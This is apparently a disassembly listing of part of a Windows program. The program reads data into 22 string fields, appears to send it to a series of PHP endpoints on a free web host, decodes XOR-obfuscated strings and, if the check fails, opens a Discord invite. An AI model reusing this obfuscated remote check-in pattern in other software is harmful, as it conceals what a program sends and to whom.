call fcn.140002920
nop
lea rcx, [rbp + 0x1378]
call fcn.140002920
nop
lea rcx, [rbp + 0x13b8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1138]
call fcn.140002920
nop
lea rcx, [rbp + 0x1158]
call fcn.140002920
nop
lea rcx, [rbp + 0x1258]
call fcn.140002920
nop
lea rcx, [rbp + 0x1178]
call fcn.140002920
nop
lea rcx, [rbp + 0x1198]
call fcn.140002920
nop
lea rcx, [rbp + 0x11b8]
call fcn.140002920
nop
lea rcx, [rbp + 0x11d8]
call fcn.140002920
nop
lea rcx, [rbp + 0x11f8]
call fcn.140002920
nop
lea rcx, [rbp + 0x1218]
call fcn.140002920
nop
lea rcx, [rbp + 0x1238]
call fcn.140002920
nop
lea rcx, [rbp + 0x1398]
call fcn.140002920
nop
lea rcx, [rbp + 0x1278]
call fcn.140002920
nop
lea rcx, [rbp + 0x1118]
call fcn.140002920
nop
lea rcx, [rbp + 0x10b8]
call fcn.140002920
nop
mov rax, qword [rbp + 0xe90]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xea0], 1
jne 0x140005b71
nop dword [rax]
lea rdx, [rbp + 0x10b2]
lea rcx, [rbp + 0xe90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_char____ptr64____ptr64]
movzx edx, byte [rbp + 0x10b2]
lea rcx, [rbp + 0x10b8]
call fcn.14000ee30
inc ebx
cmp ebx, 1
jne 0x14000599e
lea rcx, [rbp + 0x1298]
jmp 0x140005b4c
cmp ebx, 2
jne 0x1400059b3
lea rcx, [rbp + 0x12b8]
jmp 0x140005b4c
cmp ebx, 3
jne 0x1400059c8
lea rcx, [rbp + 0x12d8]
jmp 0x140005b4c
cmp ebx, 4
jne 0x1400059dd
lea rcx, [rbp + 0x12f8]
jmp 0x140005b4c
cmp ebx, 5
jne 0x1400059f2
lea rcx, [rbp + 0x1338]
jmp 0x140005b4c
cmp ebx, 6
jne 0x140005a07
lea rcx, [rbp + 0x1358]
jmp 0x140005b4c
cmp ebx, 7
jne 0x140005a1c
lea rcx, [rbp + 0x1318]
jmp 0x140005b4c
cmp ebx, 8
jne 0x140005a31
lea rcx, [rbp + 0x1378]
jmp 0x140005b4c
cmp ebx, 9
jne 0x140005a46
lea rcx, [rbp + 0x13b8]
jmp 0x140005b4c
cmp ebx, 0xa
jne 0x140005a5b
lea rcx, [rbp + 0x1138]
jmp 0x140005b4c
cmp ebx, 0xb
jne 0x140005a70
lea rcx, [rbp + 0x1158]
jmp 0x140005b4c
cmp ebx, 0xc
jne 0x140005a85
lea rcx, [rbp + 0x1258]
jmp 0x140005b4c
cmp ebx, 0xd
jne 0x140005a9a
lea rcx, [rbp + 0x1178]
jmp 0x140005b4c
cmp ebx, 0xe
jne 0x140005aaf
lea rcx, [rbp + 0x1198]
jmp 0x140005b4c
cmp ebx, 0xf
jne 0x140005ac4
lea rcx, [rbp + 0x11b8]
jmp 0x140005b4c
cmp ebx, 0x10
jne 0x140005ad6
lea rcx, [rbp + 0x11d8]
jmp 0x140005b4c
cmp ebx, 0x11
jne 0x140005ae8
lea rcx, [rbp + 0x11f8]
jmp 0x140005b4c
cmp ebx, 0x12
jne 0x140005afd
lea rcx, [rbp + 0x1218]
jmp 0x140005b4c
cmp ebx, 0x13
jne 0x140005b12
lea rcx, [rbp + 0x1238]
jmp 0x140005b4c
cmp ebx, 0x14
jne 0x140005b27
lea rcx, [rbp + 0x1398]
jmp 0x140005b4c
cmp ebx, 0x15
jne 0x140005b3c
lea rcx, [rbp + 0x1278]
jmp 0x140005b4c
cmp ebx, 0x16
jne 0x140005b58
lea rcx, [rbp + 0x1118]
lea rdx, [rbp + 0x10b8]
call fcn.14000eed0
mov rax, qword [rbp + 0xe90]
movsxd rcx, dword [rax + 4]
test byte [rbp + rcx + 0xea0], 1
je 0x140005960
lea rbx, [fcn.1400028c0]
mov qword [rsp + 0x20], rbx
lea r9, [fcn.140002920]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x26b0]
call fcn.140011638
nop
mov qword [rsp + 0x20], rbx
lea r9, [fcn.140002920]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x22b0]
call fcn.140011638
nop
lea rdx, str.files2_a0b.php
lea rcx, [rbp + 0x22b0]
call fcn.14000ee50
lea rdx, str.files2_a1b.php
lea rcx, [rbp + 0x22d0]
call fcn.14000ee50
lea rdx, str.files2_a2b.php
lea rcx, [rbp + 0x22f0]
call fcn.14000ee50
lea rdx, str.files2_a3b.php
lea rcx, [rbp + 0x2310]
call fcn.14000ee50
lea rdx, str.files2_a4b.php
lea rcx, [rbp + 0x2330]
call fcn.14000ee50
lea rdx, str.files2_a5b.php
lea rcx, [rbp + 0x2350]
call fcn.14000ee50
lea rdx, str.files2_a6b.php
lea rcx, [rbp + 0x2370]
call fcn.14000ee50
lea rdx, str.files2_a7b.php
lea rcx, [rbp + 0x2390]
call fcn.14000ee50
lea rdx, str.files2_a8b.php
lea rcx, [rbp + 0x23b0]
call fcn.14000ee50
lea rdx, str.files2_a9b.php
lea rcx, [rbp + 0x23d0]
call fcn.14000ee50
lea rdx, str.files2_a10b.php
lea rcx, [rbp + 0x23f0]
call fcn.14000ee50
lea rdx, str.files2_a11b.php
lea rcx, [rbp + 0x2410]
call fcn.14000ee50
lea rdx, str.files2_a12b.php
lea rcx, [rbp + 0x2430]
call fcn.14000ee50
lea rdx, str.files2_a13b.php
lea rcx, [rbp + 0x2450]
call fcn.14000ee50
lea rdx, str.files2_a14b.php
lea rcx, [rbp + 0x2470]
call fcn.14000ee50
lea rdx, str.files2_a15b.php
lea rcx, [rbp + 0x2490]
call fcn.14000ee50
lea rdx, str.files2_a16b.php
lea rcx, [rbp + 0x24b0]
call fcn.14000ee50
lea rdx, str.files2_a17b.php
lea rcx, [rbp + 0x24d0]
call fcn.14000ee50
lea rdx, str.files2_a18b.php
lea rcx, [rbp + 0x24f0]
call fcn.14000ee50
lea rdx, str.files2_a19b.php
lea rcx, [rbp + 0x2510]
call fcn.14000ee50
lea rdx, str.files2_a20b.php
lea rcx, [rbp + 0x2530]
call fcn.14000ee50
lea rdx, str.files2_a21b.php
lea rcx, [rbp + 0x2550]
call fcn.14000ee50
lea rdx, str.files2_a22b.php
lea rcx, [rbp + 0x2570]
call fcn.14000ee50
lea rdx, str.files2_a23b.php
lea rcx, [rbp + 0x2590]
call fcn.14000ee50
lea rdx, str.files2_a24b.php
lea rcx, [rbp + 0x25b0]
call fcn.14000ee50
lea rdx, str.files2_a25b.php
lea rcx, [rbp + 0x25d0]
call fcn.14000ee50
lea rdx, str.files2_a26b.php
lea rcx, [rbp + 0x25f0]
call fcn.14000ee50
lea rdx, str.files2_a27b.php
lea rcx, [rbp + 0x2610]
call fcn.14000ee50
lea rdx, str.files2_a28b.php
lea rcx, [rbp + 0x2630]
call fcn.14000ee50
lea rdx, str.files2_a29b.php
lea rcx, [rbp + 0x2650]
call fcn.14000ee50
lea rdx, str.files2_a30b.php
lea rcx, [rbp + 0x2670]
call fcn.14000ee50
lea rdx, str.files2_a31b.php
lea rcx, [rbp + 0x2690]
call fcn.14000ee50
mov r13d, r14d
mov byte [rsp + 0x7c], r13b
lea rdx, [rbp + 0x7e0]
lea rcx, [rsp + 0x7c]
call fcn.14000e8d0
mov r10, rax
cmp byte [rax + 0x14], r13b
jne 0x140005fd3
mov r8d, r14d
cmp r15d, 2
jl 0x140005f91
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140005e80
cmp r8d, 0x15
jge 0x140005fd3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140005fa0
cmp byte [r10 + 0x14], r13b
je 0x140006173
mov r8d, r14d
cmp r15d, 2
jl 0x140006131
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140006020
cmp r8d, 0x15
jge 0x140006173
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140006140
mov rdx, r10
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov r12d, r14d
movzx ebx, byte [rsp + 0x48]
nop word [rax + rax]
lea rax, [rbp + 0x590]
mov qword [rsp + 0x50], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x30], rax
movsxd rsi, r12d
shl rsi, 5
lea rdx, [rbp + 0x22b0]
add rdx, rsi
lea rcx, [rbp + 0x590]
call fcn.14000f110
mov rdi, rax
movzx edx, bl
lea rcx, [rbp - 0x60]
call fcn.140002e50
nop
mov r8d, 0x1a
lea rdx, str.quyengabon2.atwebpages.com
lea rcx, [rbp - 0x60]
call fcn.14000fbd0
nop
mov r9, rdi
lea r8, [rbp - 0x60]
lea rdx, [rbp + 0x570]
mov rcx, qword [0x140019a10]
call fcn.140010230
lea rcx, [rbp + 0x26b0]
add rsi, rcx
mov rdx, rax
mov rcx, rsi
call fcn.14000ef60
lea rcx, [rbp + 0x570]
call fcn.1400028c0
lea r8, [rbp + 0x12b8]
lea rdx, [rbp + 0x1298]
lea rcx, [rbp + 0x2d0]
call fcn.14000f870
nop
mov edi, dword [rsp + 0x44]
or edi, 1
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x12d8]
mov rdx, rax
lea rcx, [rbp + 0x2f0]
call fcn.14000f800
nop
or edi, 2
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x12f8]
mov rdx, rax
lea rcx, [rbp + 0x210]
call fcn.14000f800
nop
or edi, 4
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1338]
mov rdx, rax
lea rcx, [rbp + 0x310]
call fcn.14000f800
nop
or edi, 8
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1358]
mov rdx, rax
lea rcx, [rbp + 0x330]
call fcn.14000f800
nop
or edi, 0x10
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1318]
mov rdx, rax
lea rcx, [rbp + 0x350]
call fcn.14000f800
nop
or edi, 0x20
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1378]
mov rdx, rax
lea rcx, [rbp + 0x370]
call fcn.14000f800
nop
or edi, 0x40
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x13b8]
mov rdx, rax
lea rcx, [rbp + 0x390]
call fcn.14000f800
nop
bts edi, 7
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1138]
mov rdx, rax
lea rcx, [rbp + 0x3d0]
call fcn.14000f800
nop
bts edi, 8
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1158]
mov rdx, rax
lea rcx, [rbp + 0x3f0]
call fcn.14000f800
nop
bts edi, 9
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1258]
mov rdx, rax
lea rcx, [rbp + 0x410]
call fcn.14000f800
nop
bts edi, 0xa
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1178]
mov rdx, rax
lea rcx, [rbp + 0x430]
call fcn.14000f800
nop
bts edi, 0xb
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1198]
mov rdx, rax
lea rcx, [rbp + 0x450]
call fcn.14000f800
nop
bts edi, 0xc
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x11b8]
mov rdx, rax
lea rcx, [rbp + 0x470]
call fcn.14000f800
nop
bts edi, 0xd
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x11d8]
mov rdx, rax
lea rcx, [rbp + 0x490]
call fcn.14000f800
nop
bts edi, 0xe
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x11f8]
mov rdx, rax
lea rcx, [rbp + 0x4b0]
call fcn.14000f800
nop
bts edi, 0xf
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1218]
mov rdx, rax
lea rcx, [rbp + 0x4d0]
call fcn.14000f800
nop
bts edi, 0x10
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1238]
mov rdx, rax
lea rcx, [rbp + 0x4f0]
call fcn.14000f800
nop
bts edi, 0x11
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1398]
mov rdx, rax
lea rcx, [rbp + 0x510]
call fcn.14000f800
nop
bts edi, 0x12
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1278]
mov rdx, rax
lea rcx, [rbp + 0x530]
call fcn.14000f800
nop
bts edi, 0x13
mov dword [rsp + 0x50], edi
lea r8, [rbp + 0x1118]
mov rdx, rax
lea rcx, [rbp + 0x550]
call fcn.14000f800
bts edi, 0x14
mov dword [rsp + 0x44], edi
mov rdx, rax
mov rcx, rsi
call fcn.14000fff0
test al, al
jne 0x140006536
movsd xmm0, qword [str.CFMPXPY_v_b_t_]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x140014ef8]
mov word [rsp + 0x70], cx
movzx eax, byte [0x140014efa]
xor byte [rsp + 0x68], 0x32
xor byte [rsp + 0x69], 0x33
xor byte [rsp + 0x6a], 0x34
xor byte [rsp + 0x6b], 0x35
xor byte [rsp + 0x6c], 0x36
xor byte [rsp + 0x6d], 0x37
xor byte [rsp + 0x6e], 0x38
xor byte [rsp + 0x6f], 0x39
xor cl, 0x3a
mov byte [rsp + 0x70], cl
xor byte [rsp + 0x71], 0x3b
xor al, 0x3c
mov byte [rsp + 0x72], al
lea rdx, [rsp + 0x68]
mov rcx, rsi
call fcn.14000ffa0
test al, al
jne 0x140006536
xor sil, sil
jmp 0x140006539
mov sil, 1
bt edi, 0x14
jae 0x140006558
btr edi, 0x14
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x550]
call fcn.1400028c0
nop
bt edi, 0x13
jae 0x140006577
btr edi, 0x13
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x530]
call fcn.1400028c0
nop
bt edi, 0x12
jae 0x140006596
btr edi, 0x12
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x510]
call fcn.1400028c0
nop
bt edi, 0x11
jae 0x1400065b5
btr edi, 0x11
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x4f0]
call fcn.1400028c0
nop
bt edi, 0x10
jae 0x1400065d4
btr edi, 0x10
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x4d0]
call fcn.1400028c0
nop
bt edi, 0xf
jae 0x1400065f3
btr edi, 0xf
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x4b0]
call fcn.1400028c0
nop
bt edi, 0xe
jae 0x140006612
btr edi, 0xe
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x490]
call fcn.1400028c0
nop
bt edi, 0xd
jae 0x140006631
btr edi, 0xd
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x470]
call fcn.1400028c0
nop
bt edi, 0xc
jae 0x140006650
btr edi, 0xc
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x450]
call fcn.1400028c0
nop
bt edi, 0xb
jae 0x14000666f
btr edi, 0xb
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x430]
call fcn.1400028c0
nop
bt edi, 0xa
jae 0x14000668e
btr edi, 0xa
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x410]
call fcn.1400028c0
nop
bt edi, 9
jae 0x1400066ad
btr edi, 9
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x3f0]
call fcn.1400028c0
nop
bt edi, 8
jae 0x1400066cc
btr edi, 8
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x3d0]
call fcn.1400028c0
nop
test dil, dil
jns 0x1400066ea
btr edi, 7
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x390]
call fcn.1400028c0
nop
test dil, 0x40
je 0x140006708
and edi, 0xffffffbf
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x370]
call fcn.1400028c0
nop
test dil, 0x20
je 0x140006726
and edi, 0xffffffdf
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x350]
call fcn.1400028c0
nop
test dil, 0x10
je 0x140006744
and edi, 0xffffffef
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x330]
call fcn.1400028c0
nop
test dil, 8
je 0x140006762
and edi, 0xfffffff7
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x310]
call fcn.1400028c0
nop
test dil, 4
je 0x140006780
and edi, 0xfffffffb
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x210]
call fcn.1400028c0
nop
test dil, 2
je 0x14000679e
and edi, 0xfffffffd
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x2f0]
call fcn.1400028c0
nop
test dil, 1
je 0x1400067bb
and edi, 0xfffffffe
mov dword [rsp + 0x44], edi
lea rcx, [rbp + 0x2d0]
call fcn.1400028c0
test sil, sil
jne 0x1400067d6
inc r12d
cmp r12d, 0x1e
jle 0x140006190
jmp 0x1400067dc
mov r13d, 1
lea r8, [rbp + 0x12b8]
lea rdx, [rbp + 0x1298]
lea rcx, [rbp + 0x130]
call fcn.14000f870
nop
lea r8, [rbp + 0x12d8]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14000f800
nop
lea r8, [rbp + 0x12f8]
mov rdx, rax
lea rcx, [rbp + 0xb0]
call fcn.14000f800
nop
lea r8, [rbp + 0x1338]
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.14000f800
nop
lea r8, [rbp + 0x1358]
mov rdx, rax
lea rcx, [rbp + 0x770]
call fcn.14000f800
nop
lea r8, [rbp + 0x1318]
mov rdx, rax
lea rcx, [rbp + 0x750]
call fcn.14000f800
nop
lea r8, [rbp + 0x1378]
mov rdx, rax
lea rcx, [rbp + 0x730]
call fcn.14000f800
nop
lea r8, [rbp + 0x13b8]
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.14000f800
nop
lea r8, [rbp + 0x1138]
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.14000f800
nop
lea r8, [rbp + 0x1158]
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.14000f800
nop
lea r8, [rbp + 0x1258]
mov rdx, rax
lea rcx, [rbp + 0x30]
call fcn.14000f800
nop
lea r8, [rbp + 0x1178]
mov rdx, rax
lea rcx, [rbp + 0x50]
call fcn.14000f800
nop
lea r8, [rbp + 0x1198]
mov rdx, rax
lea rcx, [rbp + 0x70]
call fcn.14000f800
nop
lea r8, [rbp + 0x11b8]
mov rdx, rax
lea rcx, [rbp + 0x90]
call fcn.14000f800
nop
lea r8, [rbp + 0x11d8]
mov rdx, rax
lea rcx, [rbp + 0xd0]
call fcn.14000f800
nop
lea r8, [rbp + 0x11f8]
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.14000f800
nop
lea r8, [rbp + 0x1218]
mov rdx, rax
lea rcx, [rbp + 0x230]
call fcn.14000f800
nop
lea r8, [rbp + 0x1238]
mov rdx, rax
lea rcx, [rbp + 0x250]
call fcn.14000f800
nop
lea r8, [rbp + 0x1398]
mov rdx, rax
lea rcx, [rbp + 0x270]
call fcn.14000f800
nop
lea r8, [rbp + 0x1278]
mov rdx, rax
lea rcx, [rbp + 0x290]
call fcn.14000f800
nop
lea r8, [rbp + 0x1118]
mov rdx, rax
lea rcx, [rbp + 0x2b0]
call fcn.14000f800
mov rsi, rax
movsd xmm0, qword [0x140014fe0]
movsd qword [rsp + 0x58], xmm0
movzx ecx, byte [0x140014fe8]
mov byte [rsp + 0x60], cl
test cl, cl
je 0x140006a03
xor byte [rsp + 0x58], 0x32
xor byte [rsp + 0x59], 0x33
xor byte [rsp + 0x5a], 0x34
xor byte [rsp + 0x5b], 0x35
xor byte [rsp + 0x5c], 0x36
xor byte [rsp + 0x5d], 0x37
xor byte [rsp + 0x5e], 0x38
xor byte [rsp + 0x5f], 0x39
xor cl, 0x3a
mov byte [rsp + 0x60], cl
lea rdx, [rsp + 0x58]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.14000f4a0
mov rdi, rax
mov rbx, qword [rsi + 0x10]
mov rcx, rsi
call fcn.140002d30
mov r8, rbx
mov rdx, rax
mov rcx, rdi
call fcn.140010040
nop
lea rcx, [rbp + 0x2b0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x290]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x270]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x250]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x230]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xf0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xd0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x90]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x70]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x50]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x30]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x10]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x10]
call fcn.1400028c0
nop
lea rcx, [rbp - 0x30]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x730]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x750]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x770]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x790]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xb0]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x110]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x130]
call fcn.1400028c0
test r13d, r13d
jne 0x140006ddd
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, str.https:__discord.com_invite_jjQ2KApzp3
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
movzx edx, byte [rsp + 0x48]
lea rcx, [rbp + 0x1838]
call fcn.140002e50
lea rcx, [rbp + 0x1838]
call fcn.140002d10
nop
lea rdx, [rbp + 0x1838]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14000f9f0
nop
lea rcx, [rbp + 0x1838]
call fcn.1400028c0
nop
lea r9, [fcn.1400028c0]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x22b0]
call fcn.140011568
nop
lea r9, [fcn.1400028c0]
mov edx, 0x20
mov r8d, edx
lea rcx, [rbp + 0x26b0]
call fcn.140011568
nop
lea rcx, [rbp + 0x10b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1118]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1278]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1398]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1238]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1218]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x11b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1198]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1178]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1258]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1158]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1138]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x13b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1378]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1318]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1358]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1338]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x12b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1298]
call fcn.1400028c0
nop
lea rcx, [rbp + 0xf40]
call fcn.1400026f0
lea rcx, [rbp + 0xf40]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1908]
call fcn.14000ec30
lea rcx, [rbp + 0x1908]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x1a18]
call fcn.14000ec30
lea rcx, [rbp + 0x1a18]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp + 0x10f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15b8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x16d8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1678]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x16f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15f8]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1618]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1638]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1658]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x1598]
call fcn.1400028c0
nop
lea rcx, [rbp + 0x15d8]
call fcn.1400028c0
